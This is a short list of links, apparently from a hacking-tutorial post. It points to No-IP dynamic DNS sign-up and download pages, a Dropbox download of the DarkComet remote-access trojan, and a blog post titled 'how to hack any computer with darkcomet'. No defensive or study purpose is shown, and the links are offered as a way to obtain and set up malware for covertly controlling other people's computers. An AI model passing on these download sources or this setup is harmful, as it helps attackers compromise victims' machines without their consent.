http://www.noip.com/
https://www.noip.com/sign-up
http://www.noip.com/download?page=win
Download Darkcomet : https://www.dropbox.com/s/1xp55row6okb104/DarkCometRAT531.rar?m=
for download go here : http://devzcyberarena.blogspot.in/2013/12/how-to-hack-any-computer-with-darkcomet.html